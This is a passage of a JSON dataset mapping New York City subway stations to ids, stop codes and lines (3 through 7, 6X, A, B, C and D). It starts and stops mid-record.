"3"}, {"id": "74db", "name": "Park Pl", "stop": "228", "line": "3"}, {"id": "fe13", "name": "Pennsylvania Av", "stop": "255", "line": "3"}, {"id": "c24c", "name": "Rockaway Av", "stop": "253", "line": "3"}, {"id": "03c6", "name": "Saratoga Av", "stop": "252", "line": "3"}, {"id": "19f3", "name": "Sutter Av - Rutland Rd", "stop": "251", "line": "3"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "127", "line": "3"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "725", "line": "3"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "902", "line": "3"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "R16", "line": "3"}, {"id": "f718", "name": "Van Siclen Av", "stop": "256", "line": "3"}, {"id": "6da9", "name": "Wall St", "stop": "230", "line": "3"}, {"id": "85fc", "name": "125 St", "stop": "621", "line": "4"}, {"id": "8fe0", "name": "138 St - Grand Concourse", "stop": "416", "line": "4"}, {"id": "64f8", "name": "149 St - Grand Concourse", "stop": "222", "line": "4"}, {"id": "64f8", "name": "149 St - Grand Concourse", "stop": "415", "line": "4"}, {"id": "de32", "name": "161 St - Yankee Stadium", "stop": "414", "line": "4"}, {"id": "de32", "name": "161 St - Yankee Stadium", "stop": "D11", "line": "4"}, {"id": "0deb", "name": "167 St", "stop": "413", "line": "4"}, {"id": "b922", "name": "170 St", "stop": "412", "line": "4"}, {"id": "1068", "name": "176 St", "stop": "410", "line": "4"}, {"id": "0d0f", "name": "183 St", "stop": "408", "line": "4"}, {"id": "4564", "name": "86 St", "stop": "626", "line": "4"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "235", "line": "4"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "D24", "line": "4"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "R31", "line": "4"}, {"id": "bbcb", "name": "Bedford Park Blvd - Lehman College", "stop": "405", "line": "4"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "232", "line": "4"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "423", "line": "4"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "R28", "line": "4"}, {"id": "b6f0", "name": "Bowling Green", "stop": "420", "line": "4"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "640", "line": "4"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "M21", "line": "4"}, {"id": "a96b", "name": "Burnside Av", "stop": "409", "line": "4"}, {"id": "6c98", "name": "Crown Hts - Utica Av", "stop": "250", "line": "4"}, {"id": "f4f6", "name": "Fordham Rd", "stop": "407", "line": "4"}, {"id": "a301", "name": "Franklin Av / Botanic Garden", "stop": "239", "line": "4"}, {"id": "a301", "name": "Franklin Av / Botanic Garden", "stop": "S04", "line": "4"}, {"id": "3cf6", "name": "Fulton St", "stop": "229", "line": "4"}, {"id": "3cf6", "name": "Fulton St", "stop": "418", "line": "4"}, {"id": "3cf6", "name": "Fulton St", "stop": "A38", "line": "4"}, {"id": "3cf6", "name": "Fulton St", "stop": "M22", "line": "4"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "631", "line": "4"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "723", "line": "4"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "901", "line": "4"}, {"id": "8cb2", "name": "Kingsbridge Rd", "stop": "406", "line": "4"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "629", "line": "4"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "R11", "line": "4"}, {"id": "69cb", "name": "Mosholu Pkwy", "stop": "402", "line": "4"}, {"id": "17d6", "name": "Mt Eden Av", "stop": "411", "line": "4"}, {"id": "289d", "name": "Nevins St", "stop": "234", "line": "4"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "635", "line": "4"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "L03", "line": "4"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "R20", "line": "4"}, {"id": "7eac", "name": "Wall St", "stop": "419", "line": "4"}, {"id": "816b", "name": "Woodlawn", "stop": "401", "line": "4"}, {"id": "85fc", "name": "125 St", "stop": "621", "line": "5"}, {"id": "8fe0", "name": "138 St - Grand Concourse", "stop": "416", "line": "5"}, {"id": "64f8", "name": "149 St - Grand Concourse", "stop": "222", "line": "5"}, {"id": "64f8", "name": "149 St - Grand Concourse", "stop": "415", "line": "5"}, {"id": "3b8a", "name": "174 St", "stop": "215", "line": "5"}, {"id": "060a", "name": "3 Av - 149 St", "stop": "221", "line": "5"}, {"id": "4564", "name": "86 St", "stop": "626", "line": "5"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "235", "line": "5"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "D24", "line": "5"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "R31", "line": "5"}, {"id": "b5b4", "name": "Baychester Av", "stop": "502", "line": "5"}, {"id": "0266", "name": "Beverly Rd", "stop": "245", "line": "5"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "232", "line": "5"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "423", "line": "5"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "R28", "line": "5"}, {"id": "b6f0", "name": "Bowling Green", "stop": "420", "line": "5"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "640", "line": "5"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "M21", "line": "5"}, {"id": "9188", "name": "Church Av", "stop": "244", "line": "5"}, {"id": "979d", "name": "E 180 St", "stop": "213", "line": "5"}, {"id": "5b69", "name": "Eastchester - Dyre Av", "stop": "501", "line": "5"}, {"id": "3cec", "name": "Flatbush Av - Brooklyn College", "stop": "247", "line": "5"}, {"id": "a301", "name": "Franklin Av / Botanic Garden", "stop": "239", "line": "5"}, {"id": "a301", "name": "Franklin Av / Botanic Garden", "stop": "S04", "line": "5"}, {"id": "45fb", "name": "Freeman St", "stop": "216", "line": "5"}, {"id": "3cf6", "name": "Fulton St", "stop": "229", "line": "5"}, {"id": "3cf6", "name": "Fulton St", "stop": "418", "line": "5"}, {"id": "3cf6", "name": "Fulton St", "stop": "A38", "line": "5"}, {"id": "3cf6", "name": "Fulton St", "stop": "M22", "line": "5"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "631", "line": "5"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "723", "line": "5"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "901", "line": "5"}, {"id": "285e", "name": "Gun Hill Rd", "stop": "503", "line": "5"}, {"id": "e96e", "name": "Intervale Av", "stop": "218", "line": "5"}, {"id": "ec8c", "name": "Jackson Av", "stop": "220", "line": "5"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "629", "line": "5"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "R11", "line": "5"}, {"id": "e8c0", "name": "Morris Park", "stop": "505", "line": "5"}, {"id": "289d", "name": "Nevins St", "stop": "234", "line": "5"}, {"id": "38db", "name": "Newkirk Av", "stop": "246", "line": "5"}, {"id": "b337", "name": "Pelham Pkwy", "stop": "504", "line": "5"}, {"id": "f340", "name": "President St", "stop": "241", "line": "5"}, {"id": "c0e1", "name": "Prospect Av", "stop": "219", "line": "5"}, {"id": "63dc", "name": "Simpson St", "stop": "217", "line": "5"}, {"id": "e4a6", "name": "Sterling St", "stop": "242", "line": "5"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "635", "line": "5"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "L03", "line": "5"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "R20", "line": "5"}, {"id": "7eac", "name": "Wall St", "stop": "419", "line": "5"}, {"id": "ca46", "name": "West Farms Sq - E Tremont Av", "stop": "214", "line": "5"}, {"id": "cb70", "name": "Winthrop St", "stop": "243", "line": "5"}, {"id": "48ab", "name": "103 St", "stop": "624", "line": "6"}, {"id": "a733", "name": "110 St", "stop": "623", "line": "6"}, {"id": "3871", "name": "116 St", "stop": "622", "line": "6"}, {"id": "85fc", "name": "125 St", "stop": "621", "line": "6"}, {"id": "6766", "name": "23 St", "stop": "634", "line": "6"}, {"id": "26dd", "name": "28 St", "stop": "633", "line": "6"}, {"id": "cdc0", "name": "3 Av - 138 St", "stop": "619", "line": "6"}, {"id": "abd8", "name": "33 St", "stop": "632", "line": "6"}, {"id": "fe8e", "name": "51 St / Lexington Av/53 St", "stop": "630", "line": "6"}, {"id": "fe8e", "name": "51 St / Lexington Av/53 St", "stop": "F11", "line": "6"}, {"id": "42e7", "name": "68 St - Hunter College", "stop": "628", "line": "6"}, {"id": "185c", "name": "77 St", "stop": "627", "line": "6"}, {"id": "4564", "name": "86 St", "stop": "626", "line": "6"}, {"id": "2335", "name": "96 St", "stop": "625", "line": "6"}, {"id": "c5ab", "name": "Astor Pl", "stop": "636", "line": "6"}, {"id": "31e9", "name": "Broadway-Lafayette St / Bleecker St", "stop": "637", "line": "6"}, {"id": "31e9", "name": "Broadway-Lafayette St / Bleecker St", "stop": "D21", "line": "6"}, {"id": "eb6f", "name": "Brook Av", "stop": "618", "line": "6"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "640", "line": "6"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "M21", "line": "6"}, {"id": "c399", "name": "Buhre Av", "stop": "602", "line": "6"}, {"id": "7f0a", "name": "Canal St", "stop": "639", "line": "6"}, {"id": "7f0a", "name": "Canal St", "stop": "M20", "line": "6"}, {"id": "7f0a", "name": "Canal St", "stop": "Q01", "line": "6"}, {"id": "7f0a", "name": "Canal St", "stop": "R23", "line": "6"}, {"id": "dc82", "name": "Castle Hill Av", "stop": "607", "line": "6"}, {"id": "5d44", "name": "Cypress Av", "stop": "617", "line": "6"}, {"id": "7750", "name": "E 143 St - St Mary's St", "stop": "616", "line": "6"}, {"id": "58d4", "name": "E 149 St", "stop": "615", "line": "6"}, {"id": "8ebd", "name": "Elder Av", "stop": "611", "line": "6"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "631", "line": "6"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "723", "line": "6"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "901", "line": "6"}, {"id": "f29c", "name": "Hunts Point Av", "stop": "613", "line": "6"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "629", "line": "6"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "R11", "line": "6"}, {"id": "851d", "name": "Longwood Av", "stop": "614", "line": "6"}, {"id": "d86e", "name": "Middletown Rd", "stop": "603", "line": "6"}, {"id": "00ac", "name": "Morrison Av- Sound View", "stop": "610", "line": "6"}, {"id": "996a", "name": "Parkchester", "stop": "608", "line": "6"}, {"id": "b2f6", "name": "Pelham Bay Park", "stop": "601", "line": "6"}, {"id": "4c27", "name": "Spring St", "stop": "638", "line": "6"}, {"id": "d7a7", "name": "St Lawrence Av", "stop": "609", "line": "6"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "635", "line": "6"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "L03", "line": "6"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "R20", "line": "6"}, {"id": "9cf8", "name": "Westchester Sq - E Tremont Av", "stop": "604", "line": "6"}, {"id": "f76a", "name": "Whitlock Av", "stop": "612", "line": "6"}, {"id": "44c4", "name": "Zerega Av", "stop": "606", "line": "6"}, {"id": "48ab", "name": "103 St", "stop": "624", "line": "6X"}, {"id": "a733", "name": "110 St", "stop": "623", "line": "6X"}, {"id": "3871", "name": "116 St", "stop": "622", "line": "6X"}, {"id": "85fc", "name": "125 St", "stop": "621", "line": "6X"}, {"id": "6766", "name": "23 St", "stop": "634", "line": "6X"}, {"id": "26dd", "name": "28 St", "stop": "633", "line": "6X"}, {"id": "cdc0", "name": "3 Av - 138 St", "stop": "619", "line": "6X"}, {"id": "abd8", "name": "33 St", "stop": "632", "line": "6X"}, {"id": "fe8e", "name": "51 St / Lexington Av/53 St", "stop": "630", "line": "6X"}, {"id": "fe8e", "name": "51 St / Lexington Av/53 St", "stop": "F11", "line": "6X"}, {"id": "42e7", "name": "68 St - Hunter College", "stop": "628", "line": "6X"}, {"id": "185c", "name": "77 St", "stop": "627", "line": "6X"}, {"id": "4564", "name": "86 St", "stop": "626", "line": "6X"}, {"id": "2335", "name": "96 St", "stop": "625", "line": "6X"}, {"id": "c5ab", "name": "Astor Pl", "stop": "636", "line": "6X"}, {"id": "31e9", "name": "Broadway-Lafayette St / Bleecker St", "stop": "637", "line": "6X"}, {"id": "31e9", "name": "Broadway-Lafayette St / Bleecker St", "stop": "D21", "line": "6X"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "640", "line": "6X"}, {"id": "18ca", "name": "Brooklyn Bridge - City Hall / Chambers St", "stop": "M21", "line": "6X"}, {"id": "c399", "name": "Buhre Av", "stop": "602", "line": "6X"}, {"id": "7f0a", "name": "Canal St", "stop": "639", "line": "6X"}, {"id": "7f0a", "name": "Canal St", "stop": "M20", "line": "6X"}, {"id": "7f0a", "name": "Canal St", "stop": "Q01", "line": "6X"}, {"id": "7f0a", "name": "Canal St", "stop": "R23", "line": "6X"}, {"id": "dc82", "name": "Castle Hill Av", "stop": "607", "line": "6X"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "631", "line": "6X"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "723", "line": "6X"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "901", "line": "6X"}, {"id": "f29c", "name": "Hunts Point Av", "stop": "613", "line": "6X"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "629", "line": "6X"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "R11", "line": "6X"}, {"id": "d86e", "name": "Middletown Rd", "stop": "603", "line": "6X"}, {"id": "996a", "name": "Parkchester", "stop": "608", "line": "6X"}, {"id": "b2f6", "name": "Pelham Bay Park", "stop": "601", "line": "6X"}, {"id": "4c27", "name": "Spring St", "stop": "638", "line": "6X"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "635", "line": "6X"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "L03", "line": "6X"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "R20", "line": "6X"}, {"id": "9cf8", "name": "Westchester Sq - E Tremont Av", "stop": "604", "line": "6X"}, {"id": "44c4", "name": "Zerega Av", "stop": "606", "line": "6X"}, {"id": "9c82", "name": "103 St - Corona Plaza", "stop": "706", "line": "7"}, {"id": "4a47", "name": "111 St", "stop": "705", "line": "7"}, {"id": "e7f8", "name": "33 St", "stop": "716", "line": "7"}, {"id": "0d31", "name": "34 St - 11 Av", "stop": "726", "line": "7"}, {"id": "8df7", "name": "40 St", "stop": "715", "line": "7"}, {"id": "d142", "name": "46 St", "stop": "714", "line": "7"}, {"id": "7f11", "name": "5 Av", "stop": "724", "line": "7"}, {"id": "07c5", "name": "52 St", "stop": "713", "line": "7"}, {"id": "6081", "name": "69 St", "stop": "711", "line": "7"}, {"id": "c6a0", "name": "74 St - Broadway - Roosevelt Av", "stop": "710", "line": "7"}, {"id": "c6a0", "name": "74 St - Broadway - Roosevelt Av", "stop": "G14", "line": "7"}, {"id": "1ecf", "name": "82 St - Jackson Hts", "stop": "709", "line": "7"}, {"id": "ae0e", "name": "90 St - Elmhurst Av", "stop": "708", "line": "7"}, {"id": "65cd", "name": "Court Sq", "stop": "719", "line": "7"}, {"id": "65cd", "name": "Court Sq", "stop": "F09", "line": "7"}, {"id": "65cd", "name": "Court Sq", "stop": "G22", "line": "7"}, {"id": "b4a5", "name": "Flushing - Main St", "stop": "701", "line": "7"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "631", "line": "7"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "723", "line": "7"}, {"id": "87d2", "name": "Grand Central - 42 St", "stop": "901", "line": "7"}, {"id": "5f2c", "name": "Hunters Point Av", "stop": "720", "line": "7"}, {"id": "500e", "name": "Junction Blvd", "stop": "707", "line": "7"}, {"id": "b1ee", "name": "Mets - Willets Point", "stop": "702", "line": "7"}, {"id": "66ce", "name": "Queensboro Plaza", "stop": "718", "line": "7"}, {"id": "66ce", "name": "Queensboro Plaza", "stop": "R09", "line": "7"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "127", "line": "7"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "725", "line": "7"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "902", "line": "7"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "R16", "line": "7"}, {"id": "aba3", "name": "Vernon Blvd - Jackson Av", "stop": "721", "line": "7"}, {"id": "19bc", "name": "Woodside - 61 St", "stop": "712", "line": "7"}, {"id": "6d6a", "name": "104 St", "stop": "A63", "line": "A"}, {"id": "6683", "name": "111 St", "stop": "A64", "line": "A"}, {"id": "caba", "name": "125 St", "stop": "A15", "line": "A"}, {"id": "449e", "name": "145 St", "stop": "A12", "line": "A"}, {"id": "449e", "name": "145 St", "stop": "D13", "line": "A"}, {"id": "e467", "name": "168 St - Washington Hts", "stop": "112", "line": "A"}, {"id": "e467", "name": "168 St - Washington Hts", "stop": "A09", "line": "A"}, {"id": "f73c", "name": "175 St", "stop": "A07", "line": "A"}, {"id": "b62b", "name": "181 St", "stop": "A06", "line": "A"}, {"id": "0d7d", "name": "190 St", "stop": "A05", "line": "A"}, {"id": "3927", "name": "34 St - Penn Station", "stop": "A28", "line": "A"}, {"id": "0602", "name": "42 St - Port Authority Bus Terminal", "stop": "A27", "line": "A"}, {"id": "7a18", "name": "59 St - Columbus Circle", "stop": "125", "line": "A"}, {"id": "7a18", "name": "59 St - Columbus Circle", "stop": "A24", "line": "A"}, {"id": "6a30", "name": "8 Av / 14 St", "stop": "A31", "line": "A"}, {"id": "6a30", "name": "8 Av / 14 St", "stop": "L01", "line": "A"}, {"id": "8bc9", "name": "80 St", "stop": "A59", "line": "A"}, {"id": "3cee", "name": "88 St", "stop": "A60", "line": "A"}, {"id": "fe2e", "name": "Aqueduct - N Conduit Av", "stop": "H02", "line": "A"}, {"id": "61f2", "name": "Aqueduct Racetrack", "stop": "H01", "line": "A"}, {"id": "a4b6", "name": "Beach 25 St", "stop": "H10", "line": "A"}, {"id": "6d91", "name": "Beach 36 St", "stop": "H09", "line": "A"}, {"id": "eee0", "name": "Beach 44 St", "stop": "H08", "line": "A"}, {"id": "44f4", "name": "Beach 60 St", "stop": "H07", "line": "A"}, {"id": "e8b3", "name": "Beach 67 St", "stop": "H06", "line": "A"}, {"id": "ef66", "name": "Broad Channel", "stop": "H04", "line": "A"}, {"id": "0731", "name": "Broadway Jct", "stop": "A51", "line": "A"}, {"id": "0731", "name": "Broadway Jct", "stop": "J27", "line": "A"}, {"id": "0731", "name": "Broadway Jct", "stop": "L22", "line": "A"}, {"id": "490c", "name": "Canal St", "stop": "A34", "line": "A"}, {"id": "f537", "name": "Chambers St", "stop": "A36", "line": "A"}, {"id": "a7ee", "name": "Dyckman St", "stop": "A03", "line": "A"}, {"id": "83a0", "name": "Euclid Av", "stop": "A55", "line": "A"}, {"id": "c4cf", "name": "Far Rockaway - Mott Av", "stop": "H11", "line": "A"}, {"id": "3cf6", "name": "Fulton St", "stop": "229", "line": "A"}, {"id": "3cf6", "name": "Fulton St", "stop": "418", "line": "A"}, {"id": "3cf6", "name": "Fulton St", "stop": "A38", "line": "A"}, {"id": "3cf6", "name": "Fulton St", "stop": "M22", "line": "A"}, {"id": "2a59", "name": "Grant Av", "stop": "A57", "line": "A"}, {"id": "8e04", "name": "High St", "stop": "A40", "line": "A"}, {"id": "4c5f", "name": "Howard Beach - JFK Airport", "stop": "H03", "line": "A"}, {"id": "ec1f", "name": "Hoyt - Schermerhorn Sts", "stop": "A42", "line": "A"}, {"id": "5c68", "name": "Inwood - 207 St", "stop": "A02", "line": "A"}, {"id": "923c", "name": "Jay St - MetroTech", "stop": "A41", "line": "A"}, {"id": "923c", "name": "Jay St - MetroTech", "stop": "R29", "line": "A"}, {"id": "1e5c", "name": "Nostrand Av", "stop": "A46", "line": "A"}, {"id": "5b74", "name": "Ozone Park - Lefferts Blvd", "stop": "A65", "line": "A"}, {"id": "1322", "name": "Rockaway Blvd", "stop": "A61", "line": "A"}, {"id": "145c", "name": "Utica Av", "stop": "A48", "line": "A"}, {"id": "47ae", "name": "W 4 St", "stop": "A32", "line": "A"}, {"id": "47ae", "name": "W 4 St", "stop": "D20", "line": "A"}, {"id": "bed9", "name": "103 St", "stop": "A18", "line": "B"}, {"id": "e801", "name": "116 St", "stop": "A16", "line": "B"}, {"id": "caba", "name": "125 St", "stop": "A15", "line": "B"}, {"id": "43ba", "name": "135 St", "stop": "A14", "line": "B"}, {"id": "449e", "name": "145 St", "stop": "A12", "line": "B"}, {"id": "449e", "name": "145 St", "stop": "D13", "line": "B"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "D17", "line": "B"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "R17", "line": "B"}, {"id": "6fd9", "name": "42 St - Bryant Pk", "stop": "D16", "line": "B"}, {"id": "0cca", "name": "47-50 Sts - Rockefeller Ctr", "stop": "D15", "line": "B"}, {"id": "7a18", "name": "59 St - Columbus Circle", "stop": "125", "line": "B"}, {"id": "7a18", "name": "59 St - Columbus Circle", "stop": "A24", "line": "B"}, {"id": "7f29", "name": "7 Av", "stop": "D25", "line": "B"}, {"id": "b8f3", "name": "7 Av", "stop": "D14", "line": "B"}, {"id": "8d93", "name": "72 St", "stop": "A22", "line": "B"}, {"id": "b0bd", "name": "81 St - Museum of Natural History", "stop": "A21", "line": "B"}, {"id": "ae80", "name": "86 St", "stop": "A20", "line": "B"}, {"id": "032a", "name": "96 St", "stop": "A19", "line": "B"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "235", "line": "B"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "D24", "line": "B"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "R31", "line": "B"}, {"id": "0132", "name": "Brighton Beach", "stop": "D40", "line": "B"}, {"id": "31e9", "name": "Broadway-Lafayette St / Bleecker St", "stop": "637", "line": "B"}, {"id": "31e9", "name": "Broadway-Lafayette St / Bleecker St", "stop": "D21", "line": "B"}, {"id": "10c1", "name": "Cathedral Pkwy (110 St)", "stop": "A17", "line": "B"}, {"id": "b2e2", "name": "Church Av", "stop": "D28", "line": "B"}, {"id": "52ed", "name": "DeKalb Av", "stop": "R30", "line": "B"}, {"id": "5397", "name": "Grand St", "stop": "D22", "line": "B"}, {"id": "13fd", "name": "Kings Hwy", "stop": "D35", "line": "B"}, {"id": "7268", "name": "Newkirk Plaza", "stop": "D31", "line": "B"}, {"id": "cf15", "name": "Prospect Park", "stop": "D26", "line": "B"}, {"id": "72e2", "name": "Sheepshead Bay", "stop": "D39", "line": "B"}, {"id": "47ae", "name": "W 4 St", "stop": "A32", "line": "B"}, {"id": "47ae", "name": "W 4 St", "stop": "D20", "line": "B"}, {"id": "bed9", "name": "103 St", "stop": "A18", "line": "C"}, {"id": "e801", "name": "116 St", "stop": "A16", "line": "C"}, {"id": "caba", "name": "125 St", "stop": "A15", "line": "C"}, {"id": "43ba", "name": "135 St", "stop": "A14", "line": "C"}, {"id": "449e", "name": "145 St", "stop": "A12", "line": "C"}, {"id": "449e", "name": "145 St", "stop": "D13", "line": "C"}, {"id": "f4eb", "name": "155 St", "stop": "A11", "line": "C"}, {"id": "4657", "name": "163 St - Amsterdam Av", "stop": "A10", "line": "C"}, {"id": "e467", "name": "168 St - Washington Hts", "stop": "112", "line": "C"}, {"id": "e467", "name": "168 St - Washington Hts", "stop": "A09", "line": "C"}, {"id": "1d54", "name": "23 St", "stop": "A30", "line": "C"}, {"id": "3927", "name": "34 St - Penn Station", "stop": "A28", "line": "C"}, {"id": "0602", "name": "42 St - Port Authority Bus Terminal", "stop": "A27", "line": "C"}, {"id": "0e0a", "name": "50 St", "stop": "A25", "line": "C"}, {"id": "7a18", "name": "59 St - Columbus Circle", "stop": "125", "line": "C"}, {"id": "7a18", "name": "59 St - Columbus Circle", "stop": "A24", "line": "C"}, {"id": "8d93", "name": "72 St", "stop": "A22", "line": "C"}, {"id": "6a30", "name": "8 Av / 14 St", "stop": "A31", "line": "C"}, {"id": "6a30", "name": "8 Av / 14 St", "stop": "L01", "line": "C"}, {"id": "b0bd", "name": "81 St - Museum of Natural History", "stop": "A21", "line": "C"}, {"id": "ae80", "name": "86 St", "stop": "A20", "line": "C"}, {"id": "032a", "name": "96 St", "stop": "A19", "line": "C"}, {"id": "0731", "name": "Broadway Jct", "stop": "A51", "line": "C"}, {"id": "0731", "name": "Broadway Jct", "stop": "J27", "line": "C"}, {"id": "0731", "name": "Broadway Jct", "stop": "L22", "line": "C"}, {"id": "490c", "name": "Canal St", "stop": "A34", "line": "C"}, {"id": "10c1", "name": "Cathedral Pkwy (110 St)", "stop": "A17", "line": "C"}, {"id": "f537", "name": "Chambers St", "stop": "A36", "line": "C"}, {"id": "18c4", "name": "Clinton - Washington Avs", "stop": "A44", "line": "C"}, {"id": "83a0", "name": "Euclid Av", "stop": "A55", "line": "C"}, {"id": "d1f3", "name": "Franklin Av", "stop": "A45", "line": "C"}, {"id": "d1f3", "name": "Franklin Av", "stop": "S01", "line": "C"}, {"id": "3cf6", "name": "Fulton St", "stop": "229", "line": "C"}, {"id": "3cf6", "name": "Fulton St", "stop": "418", "line": "C"}, {"id": "3cf6", "name": "Fulton St", "stop": "A38", "line": "C"}, {"id": "3cf6", "name": "Fulton St", "stop": "M22", "line": "C"}, {"id": "8e04", "name": "High St", "stop": "A40", "line": "C"}, {"id": "ec1f", "name": "Hoyt - Schermerhorn Sts", "stop": "A42", "line": "C"}, {"id": "923c", "name": "Jay St - MetroTech", "stop": "A41", "line": "C"}, {"id": "923c", "name": "Jay St - MetroTech", "stop": "R29", "line": "C"}, {"id": "8f6d", "name": "Kingston - Throop Avs", "stop": "A47", "line": "C"}, {"id": "2526", "name": "Lafayette Av", "stop": "A43", "line": "C"}, {"id": "0e83", "name": "Liberty Av", "stop": "A52", "line": "C"}, {"id": "1e5c", "name": "Nostrand Av", "stop": "A46", "line": "C"}, {"id": "a3f2", "name": "Ralph Av", "stop": "A49", "line": "C"}, {"id": "973e", "name": "Rockaway Av", "stop": "A50", "line": "C"}, {"id": "e960", "name": "Shepherd Av", "stop": "A54", "line": "C"}, {"id": "ebc5", "name": "Spring St", "stop": "A33", "line": "C"}, {"id": "145c", "name": "Utica Av", "stop": "A48", "line": "C"}, {"id": "ecf3", "name": "Van Siclen Av", "stop": "A53", "line": "C"}, {"id": "47ae", "name": "W 4 St", "stop": "A32", "line": "C"}, {"id": "47ae", "name": "W 4 St", "stop": "D20", "line": "C"}, {"id": "caba", "name": "125 St", "stop": "A15", "line": "D"}, {"id": "449e", "name": "145 St", "stop": "A12", "line": "D"}, {"id": "449e", "name": "145 St", "stop": "D13", "line": "D"}, {"id": "75b5", "name": "155 St", "stop": "D12", "line": "D"}, {"id": "de32", "name": "161 St - Yankee Stadium", "stop": "414", "line": "D"}, {"id": "de32", "name": "161 St - Yankee Stadium", "stop": "D11", "line": "D"}, {"id": "7751", "name": "167 St", "stop": "D10", "line": "D"}, {"id": "f484", "name": "170 St", "stop": "D09", "line": "D"}, {"id": "3f99", "name": "174-175 Sts", "stop": "D08", "line": "D"}, {"id": "6cec", "name": "18 Av", "stop": "B19", "line": "D"}, {"id": "8fad", "name": "182-183 Sts", "stop": "D06", "line": "D"}, {"id": "c643", "name": "20 Av", "stop": "B20", "line": "D"}, {"id": "5511", "name": "25 Av", "stop": "B22", "line": "D"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "D17", "line": "D"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "R17", "line": "D"}, {"id": "38c3", "name": "36 St", "stop": "R36", "line": "D"}, {"id": "6fd9", "name": "42 St - Bryant Pk", "stop": "D16", "line": "D"}, {"id": "0cca", "name": "47-50 Sts - Rockefeller Ctr", "stop": "D15", "line": "D"}, {"id": "530d", "name": "50 St", "stop": "B14", "line": "D"}, {"id": "b76c", "name": "55 St", "stop": "B15", "line": "D"}, {"id": "7a18", "name": "59 St - Columbus Circle", "stop": "125", "line": "D"}, {"id": "7a18", "name": "59 St - Columbus Circle", "stop": "A24", "line": "D"}, {"id": "c4f1", "name": "62 St / New Utrecht Av", "stop": "B16", "line": "D"}, {"id": "c4f1", "name": "62 St / New Utrecht Av", "stop": "N04", "line": "D"}, {"id": "b8f3", "name": "7 Av", "stop": "D14", "line": "D"}, {"id": "6af5", "name": "71 St", "stop": "B17", "line": "D"}, {"id": "7796", "name": "79 St", "stop": "B18", "line": "D"}, {"id": "8acf", "name": "9 Av", "stop": "B12", "line": "D"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "235", "line": "D"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "D24", "line": "D"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "R31", "line": "D"}, {"id": "b81d", "name": "Bay 50 St", "stop": "B23", "line": "D"}, {"id": "68cf", "name": "Bay Pkwy", "stop": "B21", "line": "D"}, {"id": "6b9a", "name": "Bedford Park Blvd", "stop": "D03", "line": "D"}, {"id": "31e9", "name": "Broadway-Lafayette St / Bleecker St", "stop": "637", "line": "D"}, 